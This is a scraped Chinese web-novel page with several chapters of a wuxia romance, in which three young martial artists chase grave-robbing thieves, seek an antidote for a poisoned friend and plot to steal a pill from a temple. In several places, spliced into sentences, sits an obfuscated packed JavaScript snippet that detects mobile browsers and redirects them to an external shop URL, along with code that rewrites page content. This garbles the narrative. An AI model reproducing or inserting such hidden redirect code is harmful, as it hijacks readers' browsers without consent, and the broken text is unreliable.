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“你这点倒和你舅舅有些相似了。”薛滢嗤嗤笑道,“这有什么,是那何原一的错,又不是你的,日后遇到他,我一定不放过他。” 她本来还看楼闲月不善武艺,性格又有些软弱,以为他是个中看不中用的草包,却还有些义气。 “舅舅厉害,我就算了。”楼闲月摸摸脑袋,不好意思地笑道,“不过薛姑娘,你是怎么知道我舅舅的?你认识他吗?” 看来楼闲月完全不知她的身份。对于薛滢而言,楼春尽就是对她很好,脾气很好,武功高强,还好说话的好叔叔。 不过现下薛滢可不想让他们知道自己是谁,她笑了笑说:“江湖中谁不知道楼宫主的大名,他那样谦逊有礼,还十分厉害,好多人都佩服他呢。” “是啊,舅舅确实很厉害。”楼闲月哀叹道。 门开了,沈泠钰端着一碗汤药进来,那黑糊糊的碗里往上冒着热气,药气瞬间在屋内弥漫。 “薛姑娘。”沈泠钰把药放桌上,“感觉怎么样?快把解药喝了吧。” 薛滢秀气的脸皱起,满是抗拒。 9. 雌雄双盗 “瞧着不是很好喝啊。”楼闲月掩着鼻子说。 “毒已经被吸出来了,还是不喝了。”薛滢小脸舒展开,轻快地道。 “薛姑娘,虽然这毒不是很厉害,但残留在身体里,还是有危害的。”沈泠钰宽慰道,“喝了吧。” 薛滢双手捧起碗,还没尝到,就差点呕出来。 她对苦味的东西有极大的阴影,她把这称为她唯一的弱点。 在薛滢小时候,阿娘为了给她戒奶,在她硬要吃奶时就喂她带苦味的东西,导致她长大后一点苦的都吃不了,闻一下都想吐。 “不行!”薛滢啪一下把碗放下,“我情愿多躺两天,都不想喝这玩意儿。” 她抱住脑袋,侧过身不去看沈泠钰脸上的劝说。 “这药味太重了,我先出去一下。”楼闲月掩着口鼻,跑了出去。 沈泠钰坐到他方才的位置上,手指捏住勺子,慢慢搅动起来。 “应该不是很苦,薛姑娘,一口闷了吧。”他诚恳道。 薛滢抬起头,用一个“你认真的吗”眼神看他。 接着她又捂住耳朵,不看他。 屋内静了片刻,沈泠钰忽然起身,蹲到她腿边,看了下伤处,便去了外面。 薛滢注意到动静,放下手,有些疑惑。 这是嫌她矫情多事,还是先自己去休息了? 薛滢撇撇嘴,把那碗药挪远,从背后拿出小人书看了起来。别人对她的看法,她从来不在乎,要是真嫌她多事,那她还觉得那人没有一点容人之量呢。 谁知不到半个时辰,门吱嘎一声,薛滢抬头,见沈泠钰仍然是那身被弄脏撕扯过的白衣,手上拿着东西,一脚跨进门来。 在薛滢好奇的目光中,沈泠钰坐到她对面,把手中的东西一一放到桌上。 “糖葫芦和小糖人!”薛滢吃了一惊,双眸陡然亮起,“还有炒栗子啊!” “是的。”沈泠钰微笑,“把药喝完,再吃这些,嘴里的苦味就没那么重了。” 他一摸旁边的药碗,“有些凉了,我去热一下。” “泠钰哥哥,你怎么知道我喜欢吃这些的?”薛滢笑吟吟地问。 沈泠钰回头,想了想说,“我只是想,这些东西应该能让药没那么苦。” 看着他端药出去的身影,薛滢再想起自己方才的想法,觉得自己还真是想多了。 不一会儿,沈泠钰再端着药进来,薛滢已经悠哉悠哉吃起炒栗子了。 她给沈泠钰拿了一颗,他接过,示意她:“薛姑娘快喝了吧,这是解药。” 他这样诚恳,薛滢倒有些不好意思再任性,眼珠一转,端起碗笑吟吟说:“你先答应我,以后去哪里得带上我。” “什么?”沈泠钰喃喃,“可……” 见他似乎有犹豫,薛滢把碗一放,抱着腿喊:“哎呦,好疼啊,好疼啊!我真是命苦,初出茅庐,好不容易遇到个好人,救了人家,人家现在却要赶快甩掉我这个麻烦了!” “薛姑娘!”沈泠钰急忙起身去查看她的腿,瞧着并没有异样,可薛滢又在喊疼,他只好劝道,“我答应你,你先把解药喝了吧。” “你说真的?”薛滢偷看他的脸色,“不许反悔。” “是真的,我没有觉得你是麻烦。”沈泠钰诚挚地道。 闻言,薛滢见好就收,端起药一饮而尽,又马上咬了口糖葫芦在嘴里。 好在药并没有她想象的那样苦,只是太多草药在里面,导致药味很重。 “薛姑娘,大夫说你得静修三日。”沈泠钰收起碗,“伤口处不能碰水。” “我知道了,我就当三天瘸子嘛。”薛滢笑道。 “嗯……我会照顾你的,薛姑娘。” 沈泠钰看着愧疚而真诚。 “你是因为我受的伤,我理应照看你,不会丢下你自己走掉的,但薛姑娘,你自己也要注意些。” “照顾我很麻烦的,我是个闯祸精。”薛滢故意说。 “没事。”沈泠钰微微一笑,拿着碗出去了。 话是这么说,可薛滢并没有想给他找麻烦,她觉得沈泠钰和别人不一样,先前逗弄他的心思也消失了。 而这三日,沈泠钰对她照顾堪称十分体贴。 因为薛滢伤口不能碰水,洗脚时,他还会帮忙擦。虽说武林中人不计较太多,但男女有别,他兴许怕薛滢介意,擦完马上放下,手也是用帕子抱着,绝不碰多余的地方。 而薛滢全然不在乎,她只靠着枕头,一边看小人书,一边用签子插他切的水果吃。 唯独小人书不是沈泠钰买来的,他觉得这样的书看了没意义,还劝薛滢别看太多。 薛滢没把他的话放心上,转头就让楼闲月帮忙买。 她发现沈泠钰格外细心,也格外好说话后,就得寸进尺,借口自己手太酸,让他帮自己梳头发。 “可我不太会梳头发。”沈泠钰歉意道。 薛滢正坐在梳妆镜前,闻言从镜子里看他。 沈泠钰平时就只用一条白色带祥云纹路的发带,虽然简单,倒也很符合他的气质,确实不像是会在这上面费心思的人。 “你没有帮别人扎过头发吗?”薛滢问。 “没有。” “那兄弟姐妹呢?” “我没有兄弟姐妹,只有一个师弟一个师妹。”沈泠钰回答,“算上其他弟子的话,整个剑宗的弟子都算我的师弟师妹了。” 薛滢眼中划过丝欢快的精光,如此说来,沈泠钰就是楚明枫那老东西的嫡传大弟子了,以后不愁见不到他了。 “好吧。”薛滢不再为难他,开玩笑道,“但你还是学学吧,泠钰哥哥,以后还要找新娘子呢。” 沈泠钰愣了一愣,还未开口,楼闲月从外面闯了进来。 “好消息好消息!”他大叫,“我有秘籍的消息了,据说,那位高人的墓就在沧州,离这里不远,我们明天就去吧。” 薛滢停下编辫子的手,稀奇地看着他,“小楼公子,你这么好心,直接将这个消息告诉给我们?” “我……”楼闲月不好意思地摸摸头,“因为我自己找不到啊,我武功太差,如果有幸我们一起找到,你们给我抄一份就好了。” “有道理,若秘籍真的出世,哪怕被一人拿去,也迟早会传开。”沈泠钰道。 “也是,你是从哪里得来的消息,小楼公子?”薛滢问。 “是我派出去打探消息的下属,我舅舅安排保护我的。”楼闲月答道,又摸了摸后颈,“不过,我也不知道这消息对不对,和舅舅 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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薛滢笑了一笑,“泠钰哥哥聪明,就是他们,不然还有谁大晚上一边使轻功,一边在那儿笑,我们运气不错,遇到他们了。” 雌雄双盗是武林中出了名的一对夫妻,雌盗名白暗香,雄盗名白流影。 两人以偷盗为乐,武功虽不算名列前茅,却胜在诡谲多变,加之从不与人正面出手,总是一身黑衣掩面,江湖上还没有人知道两人长什么样。 “为什么说运气好啊,遇到这一对双煞,我们、我们还是快走吧!”楼闲月牙齿都抖了起来。 “小楼公子,你小时候不睡觉,楼叔拿他们的故事吓唬过你吧?有什么好怕的,不过是两个小偷罢了。”薛滢笑道,“这两个人是最会找东西的,他们看中的东西都会想方设法得到。我们才得到消息来沧州,他们也来了,还是晚上在这郊外跑,你说他们要去做什么?” “难不成,他们也是去找秘籍的?”楼闲月咽了口唾沫。 “没错,下马,我们跟上他们。”薛滢轻快跳下马,把绳子绑在路边的树上。 楼闲月还有些犹豫,见沈泠钰对薛滢的话没有半点疑问,便也照做了。 正要进林子,沈泠钰抓住薛滢手腕,目露关切,轻声叮嘱:“待会儿不要太莽撞。” 薛滢不服气,“我什么时候莽撞过了?” 10. 散瞳粉 “是,但这两人不是善类,我们还是要小心。”沈泠钰无奈笑笑。 他语气柔和,薛滢竟不像往日那样反驳回去,伸手在他白玉般的脸颊戳了两下,转身进了林子。 沈泠钰愣了愣,跟在她身后。 现下已经是晚上,一轮弯月挂在天边,路面只能靠依稀的月光看清。 他们在林子的小路内,穿过这条小路,前面就是沧州城内了。 楼闲月不敢一个人待这里,他摩挲了下双臂,忙跟上两人。 “那两个小偷,一定耳力极好,我们和他们保持距离。”薛滢对两人说。 两人放轻脚步和呼吸,倒是方便了楼闲月,不然他根本跟不上他们。 “要是他们真的拿到秘典,我们该怎么办?”楼闲月小声问,“他们肯定不会给我们看的。” “那就抢。”薛滢直接道,楼闲月和沈泠钰顿时变了脸色。 被他们两人的模样逗到,薛滢掩面笑笑,“当然不是直接抢啊,那两个人又不是绣花枕头。” “可可可,我们会不会打不过他们啊?”楼闲月嘀咕,他对自己的实力有清晰的认知。 “放心吧小楼子,你就在旁边看着,别伤了自己就成。”薛滢拍拍他的肩膀。 楼闲月嘴角抽搐,“小、小楼子?” “但薛姑娘,我觉得不宜正面和他们对上。”沈泠钰正色道,“那两人武功不在我们之下,且心狠手辣,出手绝不会留情。” “好啦,我没说要正面,先看看吧,谁说他们一定就能找到呢?”薛滢微微一笑。 那桀桀的笑声又响了几次,三人不再说话,穿过一片杂草丛,往前看去,见是一处不起眼的墓地,好些木头做的牌子在月色下树立着。 而那两个穿黑衣的人已经对着其中一个坟墓挖开了一个洞,连牌子都丢在了地上。 “这真的是高人的墓吗?看着不像啊……”楼闲月躲在树干后说。 “傻瓜,那要是把高人的墓修得和宫殿一样,不明摆着让人去挖吗?”薛滢悄声说,眼睛只看着前面。 楼闲月一听,恍然道:“哦哦,对啊。” 这片墓地犹如乱葬岗,无论谁都会绕着走,更别提大半夜到这里来挖坟了,也不知这雌雄双盗是怎么找到的,两人如同疯魔了般,一边挖,一边在那儿笑。 楼闲月听得背后发寒,但见薛滢和沈泠钰没有半分害怕之意,只好压下退缩的话。 那两人挖的越来越快,忽然间,雄盗白流影将手上的铁铲往地下一丢,和雌盗白暗香将棺材板打开,从里面拿出来一个盒子。 “真被他们找到了?!”薛滢讶然,他们距离不近,却仍能见到那个盒子。 “那真的是秘典吗?”沈泠钰拧眉道,“会不会是其他东西?” “这夫妻俩,肯定不会傻到来乱坟岗挖金银珠宝。”薛滢说。 埋在这里的人通常都是死刑犯或者没有钱下葬的,大多尸体一丢给野狗饱餐一顿,不然用草席裹尸,草率埋下。 但双盗挖的坟还有棺材,埋的还挺深,薛滢猜测,大约是那位高人叫人这样做的。 “他们将那盒子打开了!”楼闲月压低声音道。 只见那两人将盒子打开,拿出的确实是一本书,他们将盒子丢掉,将书塞怀里,便要离去。 “快追上。”薛滢摸向腰间,“看看能不能暗算他们一手,把秘籍抢来。” 她手伸出,五指间含着几根银针。但沈泠钰和楼闲月都有些犹豫且讶异,只因薛滢将暗算这样不正大的事说得如此轻松。 尤其沈泠钰身为楚山弟子,自小受的教育就是正道者行事须为光明磊落,暗中伤人是万万不可的。 “怎么?”薛滢见他们有迟疑,再一看他们神色异样,心中明了,哼了一声,“若不是我,我们现在都不知道秘籍究竟在哪里,现在就摆在眼前,还要做那些虚伪的想法么?” “可是……”楼闲月面露紧张。 “秘籍已被他们拿去,先到先得,我们先走吧。”沈泠钰低声劝道,“师傅并未说要我必须亲手拿到。” 薛滢瞪了他一眼,“那我今天偏要拿到!什么先到先得,最后到谁手里,才是谁的。” 她本想一跃到树上,可这时,三人身后蓦地发出一声极突兀的叫声,像是鸟叫,细听却知是人在叫。 薛滢顿感不好,忙说:“低下身子!” 可已来不及了,那本来准备离去的双盗听见这声音,猛地回头,看见了他们,知道行踪被人发现,立马就朝他们奔来! “那后面有、有人!”楼闲月指着三人身后道,正是方才发出声音的地方,树枝间隐约能看见一个人影。 这人站在树上,似乎是想看热闹。薛滢笑吟吟道:“好啊,原来今晚是螳螂捕蝉黄雀在后,我们做了螳螂了。” 她再看向那双盗,翻身跃起,“泠钰哥哥去追那人,我来对付这两个小偷。” 听她要一人对雌雄双盗,沈泠钰面露惊色,却见她飞身前去,竟和那两人斗的有来有回,出招时而凌厉,时而虚实,时而刁钻,一时分辨不出是哪门功夫,只得先按她说,先去找树上那人。 可就这片刻的功夫,树上那人就消失不见了。 “那个人不知道跑哪里去了,先去帮薛妹妹吧!”楼闲月捂着脑袋道,他怕得浑身颤抖。 沈泠钰也毫不犹豫去帮薛滢,虽说她功夫不错,可对方终究是两个人,年龄阅历都在她之上,时间一长便会难以应付。 一道银光闪过,雌盗白暗香仰天惨叫了声,倒退了数步。 沈泠钰握剑站到薛滢身侧,剑身照旧银白如月,血全在地上。 “那人不见了?”见他过来,薛滢马上明白。 “是,我们先一起对付这两人。”沈泠钰回道,目光罕见的冷冽,看着眼前两人。 见雌盗受伤,雄盗马上到她身旁,按住她流血的手臂,眯眼看向前面,冷笑道:“楚山的弟子,居然暗剑伤人?!” 沈泠钰眸色一顿,方才他那一剑确实狠厉又狡诈,全然不是他平日里的风格。 “那又如何?”薛滢笑眼弯弯,甚是得意,“你们两个小偷,做尽了暗中伤人的事,还怕别人暗中害你们了?要我说,刚刚那一剑就应该砍她的脖子,把她脑袋砍下来才好。” 听她所言如此乖张跋扈,双盗两人都微微愕然,扬声问:“你是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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薛滢咬了咬唇,“难的就是解药,很难寻,我记得要一种很珍贵的药丸,现下只能先帮小楼子稳住,明日我去沧州那些药馆看看。” 两人带着楼闲月到沧州城中,一路都在留意何原一和双盗是否跟着,好在没有。又找了家客栈,将楼闲月放在床上。 薛滢喂了他几口水,楼闲月嘴唇动了动,似乎醒了,他双手摸向眼睛,惊恐地喊:“我、我怎么睁不开眼?” “你中了‘散瞳粉’这毒,暂时睁不开眼,别急,明日我去寻解药。”薛滢忙宽慰道。 楼闲月此时脸色煞白,那深紫色的痕迹在他脸上分外明显,但好歹是不疼了,他舒了口气,叹道:“那就好。” 薛滢和沈泠钰对看了眼,还是未将这毒有多危险的事告诉他。 “你坐起来,我先使些办法,暂时将这毒遏制住。”薛滢示意沈泠钰扶起他肩膀,坐到了床上。 楼闲月照做,薛滢坐到他身后,手掌运气,在他背后拍了几掌,又闭目为他运功。 片刻后,楼闲月小心问道:“这毒厉害吗?” “找到解药,就不是难事。”薛滢回道,收起双手,“你先睡下吧。” 楼闲月不疑有他,点了点头。 两人离开他房间,薛滢抓住沈泠钰手,靠近问他,“泠钰哥哥,我先前听说过,沧州是不是有一位很厉害的医者,还有个名号,叫佛手仙医的?” 11. 佛手仙医 “佛手仙医?”沈泠钰双眸微亮,“先前听说过,原来她竟在沧州吗?” “嗯,我也是听别人所说,小楼子的毒最晚到明天晚上,明日一早,我们就去找这人。”薛滢思索着说。 “好。”沈泠钰颔首,“不过那秘籍被双盗拿走,我先写信告知我师傅一声。” 闻言薛滢忙抓住他胳膊,“那是不是代表你的任务结束,你要回楚山了?” 沈泠钰看了眼她的手,有些怔愣,还未答话,薛滢抱住他手臂哭道:“你不能走,说好带我一起的!” 在她没有见到楚明枫那老头前,沈泠钰可不能消失在她视线内。 “薛姑娘,我没说我要走。”沈泠钰语气轻柔,手摸了摸她的脑袋,“我们不是还要给楼公子找解药吗?” “那找完解药之后呢?”薛滢瞪眼问。 “之后——”沈泠钰倒真被问住了,“得看我师傅如何说。” “师傅师傅的,你就只想着你那个师傅。”薛滢丢开他胳膊,抱臂侧过身,“你怎么不想想我,你回楚山后,我又是孤零零一个人了。” “我没有啊。”沈泠钰笑着辩解,“而且,薛姑娘不会孤零零一个人的。” “谁说不会的?”薛滢拍了下他肩膀,“我从小到大就是一个,没有人和我玩,他们可嫌弃我了,我一个人的时候,就只能装老婆婆去烦别人,这样别人就会理我。” 沈泠钰认真听着,他不太相信薛滢这样有趣又俏丽的姑娘会没人理会,可她又说的那样真切,可怜兮兮的。 “现在你也要走了,我以后可怎么办啊?”薛滢唉声叹气道。 “嗯……”沈泠钰沉思,这时,一只青色的鸟儿从窗外飞了进来,停在他的肩头,圆圆的脑袋一动一动的。 薛滢的注意瞬间被转走,惊奇道:“哪里来的小胖鸟?” 兴许是听见有人说自己胖,小黄鸟张开尖嘴叫了起来,沈泠钰拍了下它的背,把它拿了下来。 “这是平时我用来传信的鸟。”沈泠钰说。 薛滢笑起来,伸手接过,让小青鸟停在自己手臂上。小青鸟眨着圆溜溜的眼睛,不叫了。 “好漂亮的鸟儿,它也喜欢青绿色,但它真的能送信吗?”薛滢好奇。 “能的,从没有失误过。”沈泠钰说。 “那它有名字吗?”薛滢笑着问。 “这……没有。”沈泠钰摇头,平时他都是写完就拍拍小青鸟的脑袋,让它送走,无需用名字。 “小青鸟真可怜,和我一样。”薛滢叹息落寞道。 沈泠钰无奈一笑,接过小青鸟,“我先去给师傅写信,明日一起去找仙医。” 薛滢应下,也不怕他真的一声不吭回楚山,经过前几天,她确信沈泠钰不是会丢下朋友的人。 次日一早,薛滢先给楼闲月压制了体内的毒,沈泠钰背上他,三人一同去找佛手仙医。 她先前只是在回鹤眠山探望父母的师兄口中知道沧州有这样一位仁者,据说她大部分时候都在医治穷苦人,并且不收钱,但一天只接五位病人,他们必须快些找到。 好在佛手仙医在沧州很有名,稍微打听一下就知道了她的住处。 薛滢和沈泠钰带着楼闲月,使轻功到了城西的街道,很快找到了医馆。 上面牌匾写着“同世医馆”四个大字。 没成想,他们来这么早,这位仙医的门却关了。 薛滢上前敲了敲门,里面传来一句:“今天看病的次数用光了,两位下次来吧。” 沈泠钰正想温声再求得一次机会,但薛滢嘴巴比他快多了,扬声对里面喊:“我听说住这里的医师是菩萨心肠,现下看来也不为过嘛。” “薛姑娘。”沈泠钰忙劝阻道,“这样说,不是在逼迫人家吗?” “可小楼子撑不过今天,就要变成瞎子了。”薛滢低声说,“若她执意不肯医治,那我只好进去把她给绑了。” 沈泠钰不赞成这个做法,可更不能眼睁睁看着楼闲月眼睛废掉。 楼闲月因为毒,在沈泠钰背上一直昏昏沉沉,没有听见他们的话。 “姑娘何出此言,我们医师的规矩向来如此。”里面那小孩显然有些不服气了。 “啊,所以在仙医这个医者眼中,人的性命是比规矩更重的。”薛滢笑笑,拱手道,“妹妹长见识了。” “你!” “再者,我想医师看过那么多疑难杂症,一定没有见过我朋友的,他不是单纯的生病,而是中毒,若我说出毒名,医师束手无措,再让我们走也不迟。”薛滢接着说,“若能解,也让我们见识见识医师是何等的厉害。” “怎么了?若里面的医师不愿意,就别为难别人了。”楼闲月忽然转醒,模模糊糊地说。 薛滢没答,若不是时间不够,她铁定带楼闲月去找自己爹娘,何须来求人。 里面安静了片刻后,传来一道柔柔的声音:“敢问阁下朋友中的何毒?” “散瞳粉。”薛滢立即道。 吱嘎一声,大门开了,薛滢和沈泠钰皆是面上一喜,往里看去。 只见一道柔美纤瘦的身影站在门口,是位不过十七八岁的姑娘,身着轻纱紫衣,一条乌黑的辫子垂在肩上。 她脸色很苍白,面容清丽,眉间一点朱砂痣,不过脸庞却有病气环绕,显得弱柳扶风,行动孱弱。 见这位医师如此,薛滢大概知道她为什么一天只接五个病人了,可又好奇——她怎么不给自己医治医治呢?莫非这就是传说中的医者不自医? 那小女童站在医师的身边,对两人说:“进来吧,我们医师同意了。” “多谢。”两人感谢道,背着楼闲月便进到医馆内。 医馆内有浓重的药味,楼闲月方才还晕晕乎乎的,嗅到这药味,当下呛得咳嗽起来。 “找到医师了?”他问,“对不住,能不能去其他地方,这药味我实在受不了……” 薛滢嘟囔道:“人家好不容易愿意答应医治,你还挑呢,还真是个公子哥。” “无妨,这里药味确实重,阿茯带三位去后院吧。”医师开口,声音极细极轻。 后院显然是人住的地方,是个四四方方的院子,院内晾晒着草药,药味没那么重了。 小医童阿茯带三人去了偏房,安排他们把楼闲月放到了靠墙的床上。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17480439|201703||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 楼闲月被毒弄得昏昏沉沉,躺下后稍微好些,医师进来,坐到床侧,纤纤手指在他眼前拂了一下。 兴许是她身上的药味,楼闲月猛地打了个喷嚏。 “对不住对不住!”他慌忙喊。 “无妨。”医师说着,看向薛滢,“姑娘可是暂时帮他压制了毒性?” “对,我先前倒是在书上看到过如何配解药,可配制过程复杂,不能出一点差错。”薛滢说,“而且其中一种丹药极其难寻,那丹药叫锁香丸。” “不错。”医师颔首,站起身,“去外面说吧。” 她先让阿茯安顿着楼闲月,同两人到了院内。 薛滢见她如此,忙问:“是不是医师这里没有锁香丸?” “我倒可以配,可只怕那公子撑不到配出来的时候。”医师看着两人,“不过,有一个地方有现成的。” “医师请说。” “在哪里?” 两人异口同声问。 “正是武林当中有名的门派——承天寺。这也算是不幸中的万幸吧,承天寺坐落在北朝四个地方,恰好其中之一就在沧州东面山上。”医师轻咳了下,“两位倒可以去求几粒来。” 她看了眼沈泠钰腰间的令牌,委婉提醒,“不过,公子切不可暴露自己楚山弟子的身份,那承天寺主持和楚山掌门十分不对付。” 沈泠钰微微讶然,薛滢故意叹道:“泠钰哥哥师傅还真是厉害,唯恐不能多给自己树几个敌。” 对于自己师傅树敌这事,沈泠钰也不能多说什么,便把令牌给收了起来。 “承天寺里都是些犟牛和尚,恐怕不能一时要回来,医师能不能先帮我朋友稳着。”薛滢担忧道。 “我既然答应两位,就定当竭尽全力。”医师浅浅笑了下,病弱之态稍减。她转身进屋,让阿茯帮着抬起楼闲月上半身,坐到了他身前。 薛滢和沈泠钰在一旁看着,只见她双手只伸两根手指,视线尤其柔和,每次点在楼闲月身上的力道却不小。 薛滢瞧她淡紫纱衣翻飞,内力一定不弱,倒和孱弱的外表不符,且用在楼闲月身上的点穴之法,一看就出自名门,绝非普通医师会的。 楼闲月眉头紧皱,半晌,双目流出乌黑的血,被医师用帕子擦去,将他缓缓扶下。 待她收回手,薛滢笑吟吟问:“敢问姐姐叫什么名字,师出何门?” “我姓陈,名悠欢。”她笑笑,“我到沧州两年,并未拜师,只收了阿茯。” “陈医师方才的点穴手法很厉害,居然是自学成才,妹妹佩服。”薛滢笑道,实则心底根本不信。 “姑娘过誉了,我现下帮他遏制住毒性,他已经睡了过去,两位有三日的时间能拿到丹药。”陈悠欢低声说,“只要拿到丹药,这位公子的眼睛就没有大碍。” 闻言,薛滢和沈泠钰总算稍微放心了些,当下准备去承天寺求药,却听跑进院的阿茯说:“医师,外面有人来抓药。” 陈悠欢一拂手,去了外面。薛滢和沈泠钰随后。 两人刚要跨过门槛,薛滢眼尖,看见前面站在柜台处的人,马上抓住沈泠钰手腕,带着他侧身躲到门旁。 12. 承天寺 “怎么?”沈泠钰先是讶然,随后悄声问。 “是何原一那个家伙。”薛滢恨恨道,俯下身子看外面。 “他来抓药?”沈泠钰同她一样往外看。 只见那何原一一如往常得意洋洋的模样,摇晃着他那扇子,见陈悠欢貌美,脸上又挂上了谄媚的笑。 薛滢本要马上冲出去吓他个屁滚尿流,但转念一想,何原一背后害人,现下又来抓药,难道是另有所图?当下仔细听了起来。 陈悠欢接过他递来的药单,清亮的双眸平淡,粗略扫了一眼,将药名一一说出。 薛滢手抓紧门框,恍然道:“啊,那是制锁香丸的药方。” “所以他是怕我们给楼公子解毒,想把那些药都给买了?”沈泠钰低声说。 薛滢颔首,“这家伙一定打得这个主意,虽说现下陈医师没功夫制,可我也不想便宜了他。” 她思索着该怎么让何原一好看,却听陈悠欢歉意道:“这几味药,现下我这药馆都没有了。” 何原一谄媚的笑容一顿,忙问:“是不是一男一女全给买走了?” 薛滢和沈泠钰对视一眼,又见陈悠欢摇头,“并未,前几日就没有了。” 闻言,何原一摇晃着扇子大笑,“甚好,甚好。” 他把一锭银子放桌上,扇子挡住半张脸,“若有一男一女带着一个瞎子来看病,还请姑娘拒绝。” 陈悠欢淡淡笑着把银子推回去,“公子说笑,我一日只看五位病人,再给多少银子,也是不给看的,既然公子要抓的药没有,就请去其他地方看看吧。” “姑娘年龄不大,说话做事倒是很稳妥。”何原一嘿嘿笑着,把自己的师门和姓名又给说了一遍,要陈悠欢记住,才肯离去。 “这个登徒子。”薛滢磨着牙齿,“我定要好好教训他一顿。” 两人快步走到陈悠欢面前,询问她怎么没把药抓给那人。 陈悠欢一面收拾着柜台,一面轻声说:“楼公子的毒绝不是自己沾上,或者不慎沾上,定是被人暗害。” 薛滢明了,夸赞道:“姐姐好聪明!正是方才那人背后使诈的,好在你未和他起冲突,那家伙记仇得很……” 说到此处,她低头沉思起来,何原一此人好色又记仇,上次害他们没有得手,一定还有下次,不如杀了了事,可又不能让他死的太简单。 抓起沈泠钰的手,薛滢喊了句:“我们跟上去瞧瞧!” 沈泠钰不明所以,却还是跟在她身后,自从第一次见面,他好几次抽出手被薛滢敲打后,就不再随意将手抽出来了。 两人到外面街上,从巷子内飞身上了房顶,何原一还没走远,他们看见他摇着扇子,正往城外的方向走。 “要跟着他吗?”沈泠钰问。 “对,现在还有时间去拿锁香丸,先去看看这家伙要做什么。”薛滢说。 “不如直接抓住他?”沈泠钰看向她说,“这人胆小怕死,稍微逼问,大概就说了。” “但他也很狡猾,又想着害我们,肯定会留一手。”薛滢眯着眼道,“我可不想让他死的太干脆。” 闻言,沈泠钰先是怔了下,才点头。两人跟在何原一身后,一路出了城,居然来到了承天寺山脚下。 “这家伙来承天寺,莫非……”薛滢预感不妙,见何原一停下脚,忙拉着沈泠钰躲到树丛后。 要上承天寺,须得爬上这通往山上的天梯。现下何原一却仰着下巴,站在天梯前,不多时,一个穿着土灰色袈裟的小沙弥从上面飞下,停在了他面前。 这小沙弥和薛滢年龄差不多,虽说剃了头发,但仍能见面容清秀,表情十分严肃,一手举在身前,对何原一微微颔首。 “我师傅不在,何施主要说什么,就和我说吧。” 何原一笑容满面,“竹檀小师父是焦灵大师首徒,和你说我当然放心了,你我师傅二人关系又好,我们还得一起从雌雄双盗那里把秘籍给抢回来呢。” “看来双盗把秘籍拿走的消息已经传开了。”薛滢悄声说。 “这些事与我不相干,我只听师傅的话。”竹檀面无表情道。 “那是自然,竹檀小师父还记得,我今早说过的,要是有一男一女前来求药,切不可给他们。”何原一笑眯眯道。 薛滢和沈泠钰都吃了一惊,方才她就觉得心感不妙,原来竟是因为何原一这家伙要堵死他们所有解毒的路。 “那锁香丸是我寺至宝,我们怎么会随便给别人。”竹檀挑起一边眉,有些不耐。 “这我就放心了,现下天色已经晚了,可否去寺里整修片刻?”何原一笑容更甚,脸颊都起了褶子。 “何施主请便。”竹檀点头,同他一起走上天梯。 两人走远,薛滢再也憋不住,气鼓鼓地踢了旁边的树一脚,走路都使劲跺着地。 “这可如何是好。”沈泠钰蹙起眉,“何原一在寺庙,我们不能直接去求药了。” “哼,我看那小沙弥满面的傲气,哪里有为人祈福的模样。”薛滢抱臂说,“他们不给我们,难道就以为我们没有其他办法拿到吗?” 沈泠钰一顿,犹豫道:“薛姑娘?” 按他如今对薛滢的了解,知道她又有另类的点子了。 薛滢狡黠一笑,对他说:“我们进寺庙拿去。” “拿……?”沈泠钰不懂。 “哎呀,泠钰哥哥,用手把东西握住,那不叫拿叫什么?”薛滢笑眼弯弯。 “你的意思是,我们暗自去寺庙偷吗?”沈泠钰面露犹豫和愕然。 他从小到大,脑中就没有冒出来“偷”这个字眼过。 “你说是偷,那就是偷吧,现下是管不了那么多的,陈医师给我们争取了三日时间,我们最好今晚就把锁香丸拿到。”薛滢摸摸下巴,肯定道,“对,就今晚!” 沈泠钰握紧剑柄,抿着嘴唇不语。 薛滢一眼便看出他在纠结犹豫什么,笑着说:“泠钰哥哥,我知道你是正派弟子,和我自然不同,你既然不愿意,我也不逼你,我一个人也能把东西拿到。” 她正要转身,手臂被沈泠钰抓住,回头见他面庞温润柔和,目光却十分坚定。 “我和你没什么不同,薛姑娘。”沈泠钰说,“我们一起去。” “真的?”薛滢又是惊又是笑,跳起抓住他胳膊,“你不觉得有违你的身份吗,泠钰哥哥?” “哪里。”沈泠钰笑笑,“下不为例就是,可我们该怎么……该怎么拿?” 薛滢似是早已有了主意,脸上笑容明媚,“既然我们有两个人,那我们就……” 她踮脚凑到沈泠钰耳边,他便稍微弯下身子,听完她所说, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17480440|201703||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 目光闪烁了下,随后点头。 “现下也不急了,走,先去吃饱喝足,到晚上再来这小小寺庙。” 薛滢望了眼山腰处的承天寺,拉着沈泠钰的手往城内的方向飞身去。 